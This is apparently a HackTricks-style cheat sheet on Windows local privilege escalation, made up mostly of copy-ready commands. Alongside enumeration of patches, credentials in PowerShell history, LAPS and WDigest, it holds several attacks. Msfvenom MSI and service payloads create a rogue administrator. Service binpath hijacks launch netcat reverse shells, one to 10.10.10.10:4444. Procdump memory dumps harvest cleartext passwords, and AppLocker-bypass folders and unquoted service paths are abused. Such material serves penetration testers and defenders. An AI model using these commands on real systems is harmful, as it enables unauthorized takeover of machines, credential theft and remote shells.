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Windows Local Privilege Escalation

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Best tool to look for Windows local privilege escalation vectors: WinPEAS****

Initial Windows Theory

Access Tokens

If you don't know what are Windows Access Tokens, read the following page before continuing:

ACLs - DACLs/SACLs/ACEs

If you don't know what is any of the acronyms used in the heading of this section, read the following page before continuing:

Integrity Levels

If you don't know what are integrity levels in Windows you should read the following page before continuing:

System Info

Version info enumeration

Check if the Windows version has any known vulnerability (check also the patches applied).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

On the system

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • ​watson​
  • ​winpeas (Winpeas has watson embedded)
Locally with system infromation
Github repos of exploits:

Environment

Any credential/Juicy info saved in the env variables?
set
dir env:
Get-ChildItem Env: | ft Key,Value

PowerShell History

ConsoleHost_history #Find the PATH where is saved
​
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell Transcript files

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
​
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

It records the pipeline execution details of PowerShell. This includes the commands which are executed including command invocations and some portion of the scripts. It may not have the entire detail of the execution and the output results. You can enable this following the link of the last section (Transcript files) but enabling "Module Logging" instead of "Powershell Transcription".
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
To view the last 15 events from PowersShell logs you can execute:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

It records block of code as they are executed therefore it captures the complete activity and full content of the script. It maintains the complete audit trail of each activity which can be used later in forensics and to study the malicious behavior. It records all the activity at time of execution thus provides the complete details.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
The Script Block logging events can be found in Windows Event viewer under following path: Application and Sevices Logs > Microsoft > Windows > Powershell > Operational To view the last 20 events you can use:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Internet Settings

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Drives

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

You can compromise the system if the updates are not requested using httpS but http.
You start by checking if the network uses a non-SSL WSUS update by running the following:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
If you get a reply such as:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer is equals to 1.
Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.
In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic.
Read the research here:
ctx_wsuspect_white_paper (1).pdf
517KB
PDF

WSUS CVE-2020-1013

****Read the complete report here. Basically, this is the flaw that this bug exploits:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
You can exploit this vulnerability using the tool WSUSpicious (once it's liberated).

AlwaysInstallElevated

If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY*SYSTEM*.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated

PowerUP

Use the Write-UserAddMSI command from power-up to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access):
Write-UserAddMSI
Just execute the created binary to escalate privileges.

MSI Wrapper

Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a ".bat" file if you just want to execute command lines

Create MSI with WIX

MSI Installation

To execute the installation of the malicious .msi file in background:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
To exploit this vulnerability you can use: exploit/windows/local/always_install_elevated

Antivirus and Detectors

Audit Settings

These settings decide what is being logged, so you should pay attention
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, is interesting to know where are the logs sent
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS allows you to manage the local Administrator password (which is randomised, unique, and changed regularly) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES.
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
When using LAPS, 2 new attributes appear in the computer objects of the domain: ms-msc-AdmPwd and ms-mcs-AdmPwdExpirationTime. These attributes contains the plain-text admin password and the expiration time. Then, in a domain environment, it could be interesting to check which users can read these attributes...

WDigest

If active, plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service). More info about WDigest in this page.
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential

LSA Protection

Microsoft in Windows 8.1 and later has provided additional protection for the LSA to prevent untrusted processes from being able to read its memory or to inject code. More info about LSA Protection here.
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL

Credentials Guard

Credential Guard is a new feature in Windows 10 (Enterprise and Education edition) that helps to protect your credentials on a machine from threats such as pass the hash. **[More info about Credentials Guard here.*](../stealing-credentials/credentials-protections.md#credential-guard)\***
reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags

Cached Credentials

Domain credentials are used by operating system components and are authenticated by the Local Security Authority (LSA). Typically, domain credentials are established for a user when a registered security package authenticates the user's logon data. More info about Cached Credentials here.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

AV

Check is there is any anti virus running:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more
Get-MpComputerStatus

AppLocker Policy

Check which files/extensions are blacklisted/whitelisted.
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections

Useful Writable folders to bypass AppLocker Policy

C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing

UAC

UAC is used to allow an administrator user to not give administrator privileges to each process executed. This is achieved using default the low privileged token of the user. More information about UAC here.
reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\

Users & Groups

Enumerate Users & Groups

You should check if any of the groups where you belong have interesting permissions
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
​
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Privileged groups

If you belongs to some privileged group you may be able to escalate privileges. Learn about privileged groups and how to abuse them to escalate privileges here:

Token manipulation

Learn more about what is a token in this page: Windows Tokens. Check the following page to learn about interesting tokens and how to abuse them:

Logged users / Sessions

qwinsta
klist sessions

Home folders

dir C:\Users
Get-ChildItem C:\Users

Password Policy

net accounts

Get the content of the clipboard

powershell -command "Get-Clipboard"

Running Processes

File and Folder Permissions

First of all, listing the processes check for passwords inside the command line of the process. Check if you can overwrite some binary running or if you have write permissions of the binary folder to exploit possible DLL Hijacking attacks:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
​
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
​
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Checking permissions of the processes binaries

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Checking permissions of the folders of the processes binaries (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

You can create a memory dump of a running process using procdump from sysinternals. Services like FTP have the credentials in clear text in memory, try to dump the memory and read the credentials.
procdump.exe -accepteula -ma <proc_name_tasklist>

Insecure GUI apps

Applications running as SYSTEM may allow an user to spawn a CMD, or browse directories.
Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"

Services

Get a list of services:
net start
wmic service list brief
sc query
Get-Service

Permissions

You can use sc to get information of a service
sc qc <service_name>
It is recommended to have the binary accesschk from Sysinternals to check the required privilege level for each service.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
It is recommended to check if "Authenticated Users" can modify any service:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Enable service

If you are having this error (for example with SSDPSRV):
System error 1058 has occurred. The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
You can enable it using
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Take into account that the service upnphost depends on SSDPSRV to work (for XP SP1)
Another workaround of this problem is running:
sc.exe config usosvc start= auto

Modify service binary path

If the group "Authenticated users" has SERVICE_ALL_ACCESS in a service, then it can modify the binary that is being executed by the service. To modify it and execute nc you can do:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
​
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Restart service

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Other Permissions can be used to escalate privileges: SERVICE_CHANGE_CONFIG Can reconfigure the service binary WRITE_DAC: Can reconfigure permissions, leading to SERVICE_CHANGE_CONFIG WRITE_OWNER: Can become owner, reconfigure permissions GENERIC_WRITE: Inherits SERVICE_CHANGE_CONFIG GENERIC_ALL: Inherits SERVICE_CHANGE_CONFIG
To detect and exploit this vulnerability you can use exploit/windows/local/service_permissions

Services binaries weak permissions

Check if you can modify the binary that is executed by a service or if you have write permissions on the folder where the binary is located (DLL Hijacking). You can get every binary that is executed by a service using wmic (not in system32) and check your permissions using icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
​
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
You can also use sc and icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Services registry modify permissions

You should check if you can modify any service registry. You can check your permissions over a service registry doing:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
​
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
​
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Check if Authenticated Users or NT AUTHORITY\INTERACTIVE have FullControl. In that case you can change the binary that is going to be executed by the service.
To change the Path of the binary executed:
reg add HKLM\SYSTEM\CurrentControlSet\srevices\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory permissions

If you have this permission over a registry this means to you can create sub registries from this one. In case of Windows services this is enough to execute arbitrary code:

Unquoted Service Paths

If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.
For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
To list all unquoted service paths (minus built-in Windows services)
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services
​
#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
You can detect and exploit this vulnerability with metasploit: exploit/windows/local/trusted_service_path You can manually create a service binary with metasploit:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Recovery Actions

It's possible to indicate Windows what it should do when executing a service this fails. If that setting is pointing a binary and this binary can be overwritten you may be able to escalate privileges.

Applications

Installed Applications

Check permissions of the binaries (maybe you can overwrite one and escalate privileges) and of the folders (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
​
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Write Permissions

Check if you can modify some config file to read some special file or if you can modify some binary that is going to be executed by an Administrator account (schedtasks).
A way to find weak folder/files permissions in the system is doing:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
​
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Run at startup

Check if you can overwrite some registry or binary that is going to be executed by a different user. Read the following page to learn more about interesting autoruns locations to escalate privileges:

Drivers

Look for possible third party weird/vulnerable drivers
driverquery
driverquery.exe /fo table
driverquery /SI

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.
Check permissions of all folders inside PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Network

Shares

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Check for other known computers hardcoded on the hosts file
type C:\Windows\System32\drivers\etc\hosts

Network Interfaces & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

Check for restricted services from the outside
netstat -ano #Opened ports?

Routing Table

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP Table

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall Rules

****Check this page for Firewall related commands (list rules, create rules, turn off, turn off...)

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
Binary bash.exe can also be found in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
If you get root user you can listen on any port (the first time you use nc.exe to listen on a port it will ask via GUI if nc should be allowed by the firewall).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'